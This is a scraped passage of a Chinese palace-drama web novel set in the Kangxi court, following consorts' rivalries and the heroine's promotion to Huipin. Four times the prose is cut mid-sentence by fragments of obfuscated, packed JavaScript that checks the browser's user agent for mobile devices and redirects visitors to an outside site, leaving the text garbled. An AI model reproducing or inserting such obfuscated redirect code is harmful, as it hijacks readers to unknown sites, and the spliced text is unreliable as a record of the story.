回到乾清宫批阅了一堆奏折,康熙像是突然想起什么,向立在身后的梁九功问道:“保清在宫外可还好?” 语气平淡,听不出太多情绪,仿佛只是随口提及一件寻常小事。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315767|182986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 梁九功对此早有准备,微微弯了弯腰,“回皇上,伺候五阿哥的人昨日刚递了消息来,说是五阿哥一切安好,并无不妥。” 或许是夭折了太多孩子,康熙现在不想在孩子立住之前投注太多感情。 作为一直跟在康熙身边伺候的人,梁九功明白他的想法。 继续说道:“听伺候的人说,五阿哥如今身体健壮得很,每日在园子里能跑能跳,性子也活跃,昨日还追着蝴蝶跑了大半个园子,连奶嬷嬷都快跟不上了。” 康熙的指尖在奏折上轻轻敲了敲,没有说话。 过了片刻,他才缓缓开口,声音依旧平淡:“让伺候的人好好照顾着。” 梁九功躬身应下。 今日在延禧宫时,康熙注意到了那拉庶妃头上的玉兰花簪,也明白她这点不可明说的小用意。 保清也是他的子嗣,更是如今诸多皇子中,最有希望平安长成的一个。 他嘴上不说,心里却始终记挂着。 她不过是想借着旧物,让他多念及几分保清罢了。 倒也是慈母心肠。 不过论及子嗣,康熙最重视的还是太子,“让保成的奶嬷嬷过来。” - 天气逐渐炎热,妃嫔们也将冬装收起,换上了轻便的纱袍。 皇上冷了郭络罗庶妃一个月,随着纳喇庶妃与赫舍里庶妃解除禁足,后宫也开始热闹起来。 “哟,这不是郭络罗妹妹吗?这大热天的,不在宫里歇着,来御花园这是去哪儿啊?” 禁足事件后,赫舍里庶妃与纳喇庶妃彻底掰了。 赫舍里庶妃怪纳喇庶妃口不择言,连累她一同失了恩宠。 纳喇庶妃觉得赫舍里庶妃假仁假义,不值得结交。 再加上云筠不是个爱出门的,所以纳喇庶妃今日一个人来逛御花园了。 谁想刚好在凉亭遇到罪魁祸首了呢? 仇人见面分外眼红。 不过禁足一个月,纳喇庶妃还是涨了点教训。 左右看了看,见四周没有其她妃嫔才继续开口。 “到底啊,这恩宠如流水,说走就走。也是郭络罗妹妹没本事,留不住皇上的心,才让这后宫的风向变了天。” 她顿了顿,故意扬高了声音,“要我说,这后宫里啊,孩子才是最要紧的。有个阿哥在,比什么恩宠都牢靠。” 可不是嘛。 同样是禁足,赫舍里庶妃出来之后一心想办法重新获宠。 纳喇庶妃就不一样了,她本来就不得宠,零减零还是等于零。 不过她一点也不怕。 母以子贵,有孩子在她就有底气。 不然那些妃嫔争宠是为了什么,还不是为了怀上孩子,即使失了恩宠在宫里也有个依靠。 面对纳喇庶妃,郭络罗庶妃依旧从容又高傲,“这话就不对了,让我纠正一下。我是小福晋,你是格格,按照位分,应该你叫我姐姐才是。” 说着,她上前一步,目光扫过纳喇庶妃,语气带着轻蔑。 “还有,面对小福晋,纳喇妹妹似乎没有行礼吧?怎么,禁足一个月,连宫里的规矩都忘了?要我请个嬷嬷来,好好教教你规矩吗?” 纳喇庶妃气得脸颊通红。 她虽不服气,却也知道位分上确实矮了一截,若是真闹起来,吃亏的还是自己。 没办法,她只能不情不愿地屈膝行了个蹲礼,声音含糊地说了句,“见过郭络罗姐姐”。 礼刚行完,也不待郭络罗庶妃发话,便自顾自地站了起来。 “算你牙尖嘴利!” 纳喇庶妃咬着牙丢下一句话,转身便准备领着宫女快步离开。 8. 那拉庶妃 “让你走了吗?” 纳喇庶妃想偃旗息鼓,郭络罗庶妃却不准备放过。 盛宠一个月,失宠一个月,她入宫后的生活可谓是跌宕起伏,大起大落。 得宠时身边全是奉承,乾清宫的宫女待她都多有不同,小意侍奉。 失宠后连膳房都敢踩她一脚,送来的膳食要么是浮着厚厚一层油花的汤羹,要么是味道寡淡、明显火候不足的小菜,一看就是小太监拿来练手的。 这也让她对后宫有了更深刻的认识。 飘飘然的心态一下子落到了地上。 人也不似以往般浮躁。 不过她是不会放过罪魁祸首的。 “纳喇妹妹的规矩真是白学了,”郭络罗庶妃气焰嚣张,“问好不会,如今竟连告退也忘了吗?” 纳喇庶妃本来就不是什么稳重的性子,转身回来同郭络罗庶妃开始争执。 两人你一句我一句地戳着对方心窝子。 互不相让。 佟妃难得心情舒畅,带着宫人在御花园散步。 近来郭络罗庶妃失宠,皇上虽也会去其他妃嫔宫中坐坐,却都只是稍作停留。 唯有去她宫中时,会留下过夜,侍寝次数远超旁人。 这让佟妃心中多了几分底气,连带着看周遭景物都觉得顺眼了许多。 听到不远处有些嘈杂,佟妃抬手,“走,过去看看。” 作为实打实的妃位,佟妃出门是真的一脚抬八脚迈,身后跟着一连串宫女太监。 非常显眼。 见到她,纳喇庶妃和郭络罗庶妃停止争执,屈膝行礼,“佟妃娘娘万福。” 见是她们两个,佟妃皱眉,“起来吧。” “你们都是皇上的妃嫔,在御花园吵吵闹闹成何体统?” 纳喇庶妃一撇嘴,“娘娘这可就误会嫔妾了,嫔妾偶然遇见郭络罗庶妃在逛园子,交谈了几句,谁想郭络罗庶妃架子大着呢,看不起嫔妾这格格位分。” 这时她也不称什么姐姐妹妹了。 恶心。 佟妃不喜欢郭络罗庶妃,她打心底觉得郭络罗庶妃就是个狐媚子。 不过她也同样不喜欢纳喇庶妃。 “行了,”佟妃懒得听她们辩驳,“都是伺候皇上的姐妹,有什么恩怨不能私下解决?非要在这大庭广众之下闹,让底下的奴才看了笑话,丢的是后宫的脸面。” 纳喇庶妃还想说两句,被身边的宫女轻轻扯了一下衣袖。 才被禁足完,这时候还是低调点吧。 佟妃娘娘可不是什么好性的人。 到底也没有蠢到那种地步,纳喇庶妃识时务低头,“嫔妾知错,不该与郭络罗庶妃在御花园吵闹。” 佟妃把目光转向郭络罗庶妃。 她有些不情愿,“嫔妾知错。” 佟妃虽然不喜欢她们,可也没有将她们两个放在眼里。 不过是包衣罢了。 轻描淡写给出了处置,“既然知错,就要认罚,都回去将宫规抄写十遍。” 宫规内容及其繁杂,其中涉及礼仪、服饰、起居、惩戒等各个方面。 并且还会根据实际情况进行补充。 一位训练有素的宫廷抄书吏不间断、无差错下,每日高强度抄写都需要三个月才能完成。 更何况两名不专业的后宫妃嫔。 奈何佟妃作为妃位,有权利对妃嫔进行处罚。 她们也只能认下。 - 这段时间后宫比较平静。 新入宫的三名庶妃没有受宠的,一人一次侍寝,侍寝之后就被皇帝抛在了脑后。 康熙常去的,还是以往的去处。 马佳庶妃和佟妃平分恩宠,云筠与郭络罗庶妃次一等,其余的就老老实实在后宫当个会喘气的活人。 或者说这才是常态。 新人们或许还会有不切实际的妄想,老人们早就习惯了。 新鲜的花骨朵年年有,但能真的给皇上留下印象的却少之又少。 谁也不敢笃定,自己能做那常开不败的花。 钮祜禄妃不禁止妃嫔们争宠,甚至可以说她乐得见到后宫百花齐放。 只是争宠也要有底气。 要么有家世撑腰,要么有银子打点,最不济有几分脑子。 这些都没有。 自己晚上早点睡吧。 正是午休时候,宫女蹲在地上为钮祜禄妃轻轻敲着腿,门外有太监低声通传,“主子,皇上来了。” 钮祜禄妃眼睫一动,抬手示意宫女退下。 皇上有时候突然奇想会突然驾到,钮祜禄妃也习惯了。 这点时间来不及让她梳妆打扮,还好她向来是严谨性子,鬓边的赤金镶珠钗斜斜插着,衣摆的暗纹绣得规整,应付接驾倒也挑不出错处。 她刚起身,康熙已掀帘而入,明黄色的龙袍扫过门槛,带着室外的燥热气息。 “臣妾参见皇上,皇上万福。” 康熙将她扶起,“不必多礼,朕就是过来坐坐。” 小太监麻利地奉上刚沏好的雨前龙井,两人有一搭没一搭地说着家常。 康熙手指无意识地转动着手腕上的紫檀佛珠,那串珠子被他盘得温润发亮。 忽然,他话锋一转,声音沉了几分,听不出喜怒:“朕打算将十阿哥送出宫,交给大臣抚养。” 钮祜禄妃端着茶盏的手顿了顿,眉头微蹙:“这事……马佳庶妃可知晓?” 她竟然也舍得? 马佳庶妃虽然生下了五子一女,可其中四子都早早夭折,只有女儿还养在膝下。 况且她这次生育伤了身子,太医已经下了定论,她不可能再有孩子了。 对这可能是以后唯一的儿子,她不得看着跟个命根子似的。 怎么还会愿意送出去? 这事说起来,倒与康熙有关。 在探望马佳庶妃时,看着小小一团的十阿哥,康熙顺嘴就提了一句五阿哥在宫外养得健康的事,马佳庶妃当即就起了心思。 她也不求别的了,只希望十阿哥能健康长大。 在不在她身边又有什么关系。 后宫里皇子早夭的例子太多,马佳庶妃的顾虑,康熙自然懂。 况且,将皇子交给重臣抚养,本就是皇家拉拢勋贵的手段,既有五阿哥的先例,倒也不算出格。 “她自然是愿意的,”康熙语气平淡,“朕已选好了人选,打算交给一等公噶禄抚养。” 钮祜禄妃心里顿时明了。 噶禄是四大辅政大臣之首索尼的长子,更是仁孝皇后的生父,如今还担任着领侍卫大臣,手握禁军护卫之权,是康熙最信任的臣子之一。 将十阿哥交给噶禄,既给足了马佳庶妃颜面,也进一步巩固了与赫舍里氏家族的联系,可谓一举两得。 见皇上心里有成算,钮祜禄妃也回过弯来。 皇上怕不是刚从钟粹宫出来就来她这儿了? 钮祜禄妃放下茶盏,微微颔首,语气带着恰到好处的赞同:“皇上看中的人选自然是妥当的。噶禄大人忠君爱国,又是皇亲国戚,十阿哥在他府中,定能得到悉心照料。臣妾这就吩咐下去,着手准备十阿哥出宫的事宜。” 康熙露出几分满意:“有你料理,朕放心。” 处理完正事,康熙又与钮祜禄妃闲聊了片刻,便起身离去。 他还有朝政要处理,不能在后宫久留。 不过半个时辰,乾清宫的太监便抬着赏赐浩浩荡荡来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315768|182986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “钮祜禄妃娘娘万福,这是皇上命奴才们送来的,娘娘可要过目?” 两名小太监捧着红漆托盘上前,小太监连忙介绍。 “这是苏州织造今年新进贡的云锦,一共三匹,一匹是月白色缠枝牡丹纹,一匹是宝蓝色云鹤纹,一匹是杏色缠枝莲纹,都是极为难得的珍品,今年苏州织造总共就进贡了这三匹,皇上全给娘娘送来了。” “这是东北产的东珠,颗颗饱满圆润,莹白透亮,不论是用来做成首饰,还是磨成珍珠粉滋补身体,都是上好的东西。” “还有这荔枝,福建巡抚将结果的整颗荔枝树用船运到京城,中间精心养护,拢共才得了五筐,娘娘您这儿就得了两筐呢。” 钮祜禄妃看着这些赏赐,脸上露出温和的笑容,对身边的大宫女青杏说:“替本宫多谢皇上赏赐,赏。” 青杏早有准备,递过去两个沉甸甸的荷包。 小太监们接在手里,掂量着分量便知里面是足额的银锞子,笑得眼睛都眯了:“谢娘娘赏赐!娘娘若是没别的吩咐,奴才们就先告退了,还要去给其他小主送东西呢。” 等太监们走了,青杏才上前收拾托盘。 她忍不住说:“主子,皇上这次的赏赐可真丰厚,尤其是那三匹云锦,多少人求都求不来呢!” 钮祜禄妃却只是淡淡摆手,“都收起来吧,荔枝性热,本宫体寒吃不得,你们拿去分了,也让底下人沾沾喜气。” 这些对她来说都是寻常物件。 她出身钮祜禄大族,在府里时什么好东西没见过没吃过。 如今这点东西,实在入不了她的眼。 对她而言,皇上的信任与后宫的统筹权,远比这些物件重要得多。 - 送赏赐的不止这一处。 云筠也得了一匣子大小不一的珍珠和一篮子荔枝。 她剥了一颗。 味道和她在超市买的没什么不同。 将剩下的荔枝推给灵芝:“你们分着吃吧,夏天我还是更喜欢吃冰西瓜,这荔枝太甜腻了。” 灵芝刚要接,茯苓便走了进来。 “小主,各宫的赏赐都送完了,奴婢打听了一下,其她小福晋和咱们一样,都是一匣子珍珠加一篮子荔枝。格格里头,就李庶妃、王佳庶妃和纳喇庶妃各得了一盘荔枝,剩下的格格连见都没见着。” 现代随时都能吃到的荔枝,在这里成了地位的象征。 也难怪妃嫔们想要往上爬。 没点地位,连新鲜水果都吃不上。 不得宠的妃嫔待遇甚至比不上得宠妃嫔身边的宫女。 云筠道:“对了,给小福子留几颗,这大热天他在外面跑腿也不容易。” 灵芝连忙应下:“奴婢记着呢,等会儿就给他送去。对了小主,上午小福子去膳房领东西,特意抱了两个西瓜回来,现在应该在井水里镇透了,奴婢这就去切来给您解解暑?” “不急,”云筠指了指那匣子珍珠。 “先将这匣子珍珠,大的挑出来做耳坠,小的先收进库房,等攒够一匣子米珠,织成璎珞,夏天配素色衣裳正好。” - 此时纳喇庶妃房间里,气氛有些微妙。 她捧着那盘荔枝,脸上带着几分得意。 虽说只是一盘,但比起那些连荔枝影子都没见着的格格,已是体面多了。 可转念一想,郭络罗庶妃作为小福晋得了一筐,自己却只有一盘,心里又泛起酸来。 她有子嗣,怎么还比不过郭络罗庶妃? 也不知道皇上什么时候才会给她升位分。 身边的宫女见她脸色变幻,连忙劝道:“小主,能得皇上赏赐已是恩典,您快尝尝,这荔枝多新鲜啊。” 9. 惠嫔 赫舍里庶妃最近过得不太好。 隐隐约约有失宠迹象后,内务府对她也怠慢起来,以往不必她开口,储秀宫的夏日用冰就没有断过。 可是现在倒好。 她也只有在每日最热的时候才用得上冰了。 感受到背上的黏腻,赫舍里庶妃内心的火越窜越高,“内务府简直欺人太甚!” 虽然吧,这才是格格正常份例里的冰块。 但谁让赫舍里庶妃之前还算受宠呢。 内务府的人别的事情可能做不好,但在巴结宠妃这事上绝对是合格的,甚至是合格得过头了。 她身边的小宫女也满脸不痛快。 知道自家小主不喜郭络罗庶妃,她也不屑的样子,“内务府一贯是捧高踩低的,先前郭络罗庶妃失宠时他们躲得飞快,眼下见她起来了,又眼巴巴贴上去。” “不过郭络罗庶妃也是个泥性子,这么被欺辱了也只是装作什么都没有发生过的样子。” 虽然事实未必是她们说的那样,可是她们也不在乎事实是什么,只是想嘴一句罢了。 赫舍里庶妃象征性地说了两句,“好了,人家毕竟是小福晋,哪能是我这种小格格比得上的。” 不过再这样下去也不是办法。 她可不想一直过这种日子。 “还是想想办法怎么复宠吧。” 提起这件事,主仆二人对视一眼,同时叹了一口气。 得宠又岂是那么简单的事。 思来想去之后,赫舍里庶妃灵光一闪——她要投靠钮祜禄妃。 高位妃嫔就那么两个,佟妃是肯定不会帮她的。 只有钮祜禄妃,有宫权,皇上也给她几分薄面。 就算她不能复宠,到时候有钮祜禄妃庇佑,日子也能好过一点。 主仆二人商讨一番,越说越觉得这个想法可行,恨不得立马去钮祜禄妃面前表忠心。 带着对未来的美好展望,赫舍里庶妃美美进入梦乡。 第二日一大早,她便带上了自己精心准备的礼物去给钮祜禄妃请安。 “嫔妾参见钮祜禄妃娘娘,娘娘万福金安。” “起来吧。” 钮祜禄妃有些好奇赫舍里庶妃的来意。 据她所知,赫舍里庶妃这些日子老老实实的,也没有和其她妃嫔起什么冲突啊? 赫舍里庶妃羞涩一笑,“嫔妾近日得了些好丝线,便想着给娘娘绣一方手帕,做个荷包,聊表心意,还请娘娘不要嫌弃。” 她也有些急智。 知道钮祜禄妃生在富贵窝里,估计看不上她那点小家私。 这时候就只有心意来凑了。 给她送手帕和荷包? 钮祜禄妃难得有些惊愕。 连吴嬷嬷都用奇怪的眼神看着赫舍里庶妃。 这位小主怎么想的。 若是想要争宠,应该将这份心思放到皇上那里才是。 再说了,自家主子身边有擅长针线的宫女,哪里用得着妃嫔来送什么荷包。 “这是嫔妾的一点心意,还请娘娘收下。” 钮祜禄妃看着赫舍里庶妃,还是不太清楚她在想什么。 但她从来不用来历不明的东西。 “妹妹的心意本宫心领了,不过这手帕荷包之后就不必再送了。” 钮祜禄妃拒绝了一个投靠。 赫舍里庶妃不是看不懂眼色的人。 见钮祜禄妃坚持不要,她也将手帕荷包收了起来。 她绣这些也不容易。 下次送皇上可以继续用。 不过赫舍里庶妃是有一些韧性在的。 天天到钮祜禄妃宫里请安,时不时带点小礼物。 看在她老老实实不惹事的份上,钮祜禄妃最后睁一只眼闭一只眼,随她去了。 - 日子就这么不咸不淡地过着,转眼便入了八月。 皇上猝不及防地重新制定了后宫制度。 皇后、皇贵妃、贵妃、妃、嫔、贵人、常在、答应、官女子。 等级制度严格,只有嫔位才是一宫主位,有资格亲自抚养子嗣。 一时间后宫就像热水溅入了油锅,沸沸扬扬。 “皇上这是要大封后宫了?” “可不是嘛!咱们在格格位分上熬了这么多年,总算有盼头了!” “你说我能升到贵人吗?我娘家虽说不是什么显赫世家,可我入宫也有三年了……” 说来也心酸,皇上在位分上可谓是相当吝啬,一大批妃嫔都在格格位分上待着,她们也迫不及待想往上升啊。 说句好笑的,简直就是上升空间巨大。 景仁宫里,钮祜禄妃却依旧稳如泰山。 她正坐在梳妆台前,让吴嬷嬷为自己梳理头发,语气平静:“内务府那边,吉服准备得怎么样了?” “回主子,已经在赶制了,”吴嬷嬷一边为她插上一支步摇,一边笑道,“皇上早就和主子商议过封位的事,主子是板上钉钉的皇后,佟妃娘娘升贵妃,其余人的位分也都定好了,主子自然不用急。 钮祜禄妃淡淡一笑,没再多说。 除了她,皇上没给任何人透漏过具体的封位,这后宫的热闹,还得再持续几日。 云筠也稳得住。 她的嫔位是跑不了的。 倒是灵芝有些焦虑:“小主,最近不少庶妃都往乾清宫送了甜汤,我们也要不要送啊?” 虽然那些甜汤皇上未必会入口。 “不必,”云筠宽慰着灵芝的心,“越到这个时候越不能着急,皇上心里也必定早有决断,我们等着皇上的旨意就是了。” 见自家小主老实神在的样子,灵芝也不急了。 “小主心里有成算,奴婢也不说多了。” - 承乾宫。 佟妃正用手拨弄着花房新送来月季,“打听好了吗,这件事是不是真的?” 虽然皇上制定了新的后宫制度,但具体怎么样也没给出个准话。 正好佟妃在内务府也有些人脉,都是她姑姑孝康章皇后留下的。 春枝捧着茶盏侍奉,“回主子,咱们在内务府的人说了,吉服的料子早就送了过去,绣娘也已经开始赶工,想来是真的要大封后宫了。” 佟妃若有所思,“今日皇上翻了谁的牌子?” “皇上今儿没有翻牌子,说是歇在乾清宫了,”春枝摇了摇头。 佟妃了然。 皇上是被后宫这些妃嫔的心思烦得不行了,才故意躲着不见人。 - 在妃嫔们的翘首以盼下,册封圣旨终于发了下来。 送走了宣旨太监,灵芝和茯苓脸上都洋溢着喜气。 “小主!不,主子!您现在是惠嫔娘娘了,还是延禧宫的一宫主位!这可是天大的喜事啊!” 灵芝别提有多激动了。 贵人到嫔就是一座大山,一宫主位在后宫里终于称得上是正经主子了。 殿里伺候的宫女太监也都围了上来,齐刷刷地跪在地上,声音响亮。 “恭喜惠嫔娘娘!贺喜惠嫔娘娘!惠嫔娘娘万福金安!” 每个人脸上都洋溢着真心的笑意。 主子升了位分,他们这些伺候的人也能跟着沾光,往后在宫里行走,腰杆都能挺直几分。 被她们的快乐所感染,云筠也笑了起来,大方一把。 “都起来吧,今日是本宫的好日子,也是咱们延禧宫的好日子。传本宫的话,宫里所有人,都赏三个月月钱,大家一起高兴高兴。” 只有一宫主位才能自称本宫。 以后这延禧宫就是她的地盘了。 这吉服好看是好看,就是有点重,她感觉自己头皮被紧紧扯着,都担心自己秃了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315769|182986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >坐在镜前,看着茯苓熟练地为自己卸下钗环,云筠忽然开口问道:“对了,先前让你们盯着宫里宫女的事,查得怎么样了?” 按新定的后宫规制,嫔位可配六名宫女,分一等、二等、三等各两名。 她原本身边已有灵芝、茯苓等四名宫女,内务府后续还会补派两人,按规矩新补的会从三等做起。 二等宫女也算比较贴身的人了。 但是她之前重病,有一个宫女有了异动。 她便让茯苓和灵芝盯着,看这个宫女到底是想往高处走还是背后有人。 当初第一个阿哥夭折,虽对外说是体弱,可原主总觉得有不对劲的地方。 灵芝见主子终于想起了这件事,兴高采烈,“主子,白术那里没有什么异动,倒是麦冬,主子病重那会儿她以为我们都手忙脚乱,悄悄去了御花园一趟。” 云筠垂眸。 “寻个错处,把她降为三等宫女,也不要给她任何贴身伺候的活儿,安排她去殿外洒扫。” 虽说放在眼皮子低下才放心,但是她也不会给自己的安全留隐患。 —— 听着前面传来的喜悦声,纳喇庶妃只觉得无比刺耳。 “怎么会才是贵人。” 她默默垂泪。 只有一宫主位才能将孩子养在身边,现在她只是贵人,孩子也只能养在兆祥所。 纳喇庶妃突然抓住白兰的手,指节因为用力而泛白,眼里还残留着一丝侥幸。 万一不止她这样呢? 万一这次册封本就严苛,好多人都只升了一级呢? “去,去查查其她妃嫔们给了什么位分,”纳喇庶妃心里怀有一丝期盼。 白兰连忙应下,快步走出殿门。 这后宫里的消息最是灵通,传旨太监刚走完一圈,各宫的位分就像长了翅膀似的,在宫女太监间传得清清楚楚。 不过半炷香的功夫,白兰就掀着帘子回来了。 她看着纳喇庶妃有些担心,声音放得及轻。 “小主,各宫都传遍了。” “钮祜禄妃娘娘册封皇后,佟妃娘娘升为贵妃,剩下按照宣旨顺序依次是李庶妃封为安嫔,王佳庶妃为敬嫔,董庶妃为端嫔,马佳庶妃为荣嫔,那拉庶妃为惠嫔,郭络罗庶妃为宜嫔,赫舍里庶妃为僖嫔,还有您与张庶妃封为贵人。” 嫔位顺序按照家世、子嗣、宠爱排列,一目了然。 “董氏她只生了个女儿,都能封端嫔,我有儿子啊,我到底哪里比不上她们!” 纳喇庶妃哭得非常伤心,在自己房间里她也不讲什么哭得好看梨花带雨了。 这件事对她的打击非常大。 不知想起了什么,她拉着白兰的手,有些惶恐,声音带着颤抖:“白兰,你说……皇上是不是真的厌弃我了” 连赫舍里氏那个同她一道禁足的都成了僖嫔。 怎么就她还是个贵人。 她只是说错了一句话而已啊。 皇上当真无情啊。 越想越伤心,纳喇庶妃哭得哀哀切切。 白兰连忙劝阻,“小主,您别哭了,再哭眼睛该肿得睁不开了。明日还得去坤宁宫给皇后娘娘请安呢,皇后刚册封,咱们可不能失了礼数。奴婢去给您找些冰块,敷敷眼睛,明日好歹能体面些。” 提到给皇后请安,纳喇庶妃的哭声才渐渐小了些。 她要面子,不想其她妃嫔看出她哭过,然后被笑话。 她吸了吸鼻子,任由白兰取来冰块,用帕子裹着敷在眼睛上。 嘟嘟囔囔,“以后我出了延禧宫绝对谨言慎行。” 当初被禁足她也认为这没什么大不了的,但是涉及到位分,她才明白皇上是真的恼了她。 事教人一次就会。 她算是吃到了言语不当的苦了。 以后在皇上面前她绝对不提其她妃嫔。 10. 惠嫔 晋封后的第一次请安大家都格外重视。 一大早延禧宫便热闹了起来,宫女太监们忙忙碌碌。 昨日内务府新拨了人过来,只是她们摸不清如今主位惠嫔的性子,只能亦步亦趋跟在旧人身后,连递帕子的手都带着几分拘谨,生怕行差踏错。 灵芝将一对金镶东珠耳环小心穿过云筠耳洞,又给她戴上了两对金环。 一耳戴三钳是满洲特色,嫔位必须严格遵守。 只是以往她戴的都是简单的耳坠,这金镶东珠倒是第一次戴。 东珠也只有嫔位以上才能用,并且她们用的东珠还是品相算不了上好的。 最好的纯东珠只有皇后能用。 “主子今日光彩夺目呢,”茯苓为云筠整理着嫔位常服,口中夸赞道。 这并不是虚言。 比起往日素净打扮,今日她难得穿了一件宝蓝色海棠蝴蝶纹衬衣,衬衣的领口、袖边和开衩处都有精致的绣花和绦边,头上是满钿,手腕上戴着一只温润的翡翠手镯,既好看又尊贵。 云筠看着镜子里的自己,满意点头。 人靠衣装果然不是说说的。 待一切收拾妥当,到宫门口时纳喇贵人已经候着了。 往日里两人一个是格格,一个是小福晋,虽有位分差异,却也不太明显。 如今她晋了嫔位,成了延禧宫主位,纳喇贵人再候着,便多了层规矩的意味。 按宫规,一宫主位有管束宫内低位妃嫔的职责,请安时低位者需随主位同行,这便是从贵人到嫔的一道坎,迈过去,才算在宫里真正有了‘主子’的体面。 也难怪纳喇贵人昨日那般伤心。 以前她还能和云筠平等相较,可是现在她就要在人家手底下讨生活了。 这心理差距,谁经历谁知道。 见着云筠,纳喇贵人别扭请安,“惠嫔娘娘万福。” 嫔位便可称一句娘娘了。 “不必多礼,”云筠对纳喇贵人的态度倒是一如既往。 只除了她如今成了主位,身上也多了一份责任。 云筠嗓音温和,“昨日刚接了圣旨,宫里事务繁杂,倒没来得及与你细说。如今我搬去正殿,你是贵人,又有阿哥,便迁居东偏殿吧,那里采光好。若是搬过去缺了什么,或是有旁的需求,只管派人来正殿说一声,不必拘束。” 一宫主位自然是居住在正殿的。 昨日下了圣旨,她就在安排搬家的事情。 原先那房间她居住了许久,都是按照自己心意布置的,如今要搬离自然也将所有东西一块搬走,只留下了规章制度里面的东西。 硬要说的话就是现代的样板房。 该有的都有,就是干干净净没有人气。 她也不是一朝得志就眼睛望到天上去的人,纳喇贵人总归和她认识许久,有那么一点塑料情谊。 合情合理,她搬到东偏殿都是应该的。 纳喇贵人拧着手帕,心里松了一口气。 这样平常的态度正是她需要的。 惠嫔当主位也算得上一件好事,她性子好,对身边伺候的人也好,不会做出磋磨低位妃嫔的事。 况且她一向嘴巴严实,即使自己在她面前不小心说了什么不该说的,想来她也不会传出去。 想到这里,纳喇贵人瞬间念头通达,又恢复以往的性子。 她一路上叽里呱啦地说着,只是涨了教训,半点没有提及别的妃嫔。 到了坤宁宫,迎面而来的就是一股凉气。 内务府待这位本来就管着宫务的皇后相当殷勤,以往他们还会暗地里使些绊子,毕竟当时钮祜禄妃只是妃位,有些名不正言不顺。 但是如今人家成了皇后,有了真的收拾他们的权利。 内务府一下子就老实了,小心思也不敢有了。 还得赶紧奉上些‘好处’,以求这位皇后宽宏大量,不要同他们这等小人物计较。 这远超份例的用冰就是其一。 座次是按照宣旨时的顺序来的。 安嫔是嫔首,坐在了皇后右下的位置,以左为尊,她左边的位置现在还空着,是佟贵妃的。 安嫔往下依次是端嫔、云筠、僖嫔,佟贵妃往下依次是敬嫔、荣嫔、宜嫔。 也是凑巧。 荣嫔这位前宠妃和宜嫔这位现宠妃正好挨着,只是两人有些互相看不过眼,挨着坐也不发一言。 皇后一向妥帖,也没有让其她妃嫔站着,而是在最末尾的地方放了几个绣墩,让贵人们坐着。 有这份贴心举动在,连纳喇贵人都念了几声皇后的好。 能舒服谁想吃苦。 七嫔到得齐全,云筠一边喝着茶,一边听着她们说话。 都是同一位分的人,上面妃位只有四个,大家都是潜在敌人。 晋封的事情昨日已经高兴过了,现在嘛。 该互相探探底了。 “还没恭喜安嫔姐姐,这一回竟不声不响就坐到了嫔首的位置,真是羡煞旁人。” 最先开口的是僖嫔,她今日穿了一身嫩绿直径纱花蝶单袍,色彩明快鲜丽,作为比较受宠的妃嫔之一,她本来就长相娇俏,配着这一身更显得活泼明丽。 虽然和她对面的宜嫔比起来还是差了一些颜色。 安嫔不咸不淡,“不过是遵皇上旨意罢了,算不得什么。” 她一直都不是个得宠的。 此次成为嫔首也是因为家世。 她是汉军正蓝旗,祖父是李永芳,取了努尔哈赤的孙女,算起来她和皇家也是沾亲带故,是功勋卓著的汉军旗世家。 见僖嫔还想说什么,敬嫔先打断了,“好了,册封圣旨已下,僖嫔难道还有什么不满不成?” 她也是因为家世封嫔,也不受宠,和安嫔关系一向亲密。 僖嫔自认为没有一挑二的本事,将目光转向了自认为的最大的对手——宜嫔。 没办法,七嫔就她和宜嫔分别是倒数第一和第二,也都是因为宠爱封嫔。 况且。 她的宠爱还没有宜嫔来得纯粹。 宜嫔得宠全靠自己。 至于她嘛。 僖嫔扪心自问。 估计皇后在里面是占了一些原因的。 她喜滋滋的。 果然抱皇后大腿是抱对了。 纳喇贵人还是一个贵人呢,她就成为僖嫔了。 这一切都是皇后娘娘恩德。 “听说宜嫔与郭络罗庶妃姐妹情深,不过怎么宜嫔都封嫔了,自己亲姐姐还是个庶妃?” 僖嫔说这话时表情疑惑地看着宜嫔,像是真心实意地为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315770|182986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郭络罗庶妃打抱不平。 